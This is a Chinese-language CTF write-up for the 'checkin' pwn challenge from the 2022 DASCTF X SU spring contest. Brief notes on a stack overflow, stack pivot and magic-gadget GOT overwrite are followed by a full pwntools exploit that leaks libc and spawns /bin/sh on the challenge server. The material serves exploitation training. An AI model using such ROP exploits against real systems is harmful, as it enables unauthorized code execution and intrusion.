2022DASCTF X SU 三月春季挑战赛pwn题复现
checkin
刚好能溢出到返回地址
返回地址填这里然后控制一下rbp的值就能实现任意地址写
第一次read使程序返回到该处进行第二次read
第二次read向bss段读入构造rop链,利用__do_global_dtors_aux中的一个magic gadget:
add [rbp-3Dh], ebx;nop;ret;将setvbuf的got表改成puts泄露libc,再次返回到read处构造system(“/bin/sh”),再次栈迁移执行getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
io = remote("node4.buuoj.cn", 27814) libc = ELF('./libc.so.6') elf = ELF('./checkin') context.log_level = "debug"
bss = elf.bss()+0x800 read_ret = 0x4011BF pop_rdi = 0x401253 pop_rbx_rbp_r12_15 = 0x40124A pop_rbp = 0x40113d leave_ret = 0x4011e2 setvbuf_got = elf.got['setvbuf'] if libc.sym['puts'] - libc.sym['setvbuf'] > 0: offest = libc.sym['puts'] - libc.sym['setvbuf'] else: offest = 0x100000000 + libc.sym['puts'] - libc.sym['setvbuf']
magic_addr = 0x40113c ret = 0x40101a
payload1 = b'a'*0xa0 + p64(bss + 0xa0) + p64(read_ret) io.send(payload1)
payload2 = p64(pop_rbx_rbp_r12_15) + p64(offest) + p64(elf.got['setvbuf'] + 0x3d) + p64(0)*4 + p64(magic_addr) + p64(ret) payload2 += p64(pop_rdi) + p64(elf.got['read']) + p64(elf.plt['setvbuf']) + p64(pop_rbp) + p64(bss + 0xa0) + p64(read_ret) payload2 = payload2.ljust(0xa0, b'\x00') payload2 += p64(bss - 8) + p64(leave_ret)
sleep(0.5) io.send(payload2) read = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) libcbase = read - libc.sym['read'] sys_addr = libcbase + libc.sym['system'] sh = libcbase + libc.search(b'/bin/sh').__next__()
payload3 = p64(pop_rdi) + p64(sh) + p64(sys_addr) io.send(payload3) io.interactive()
|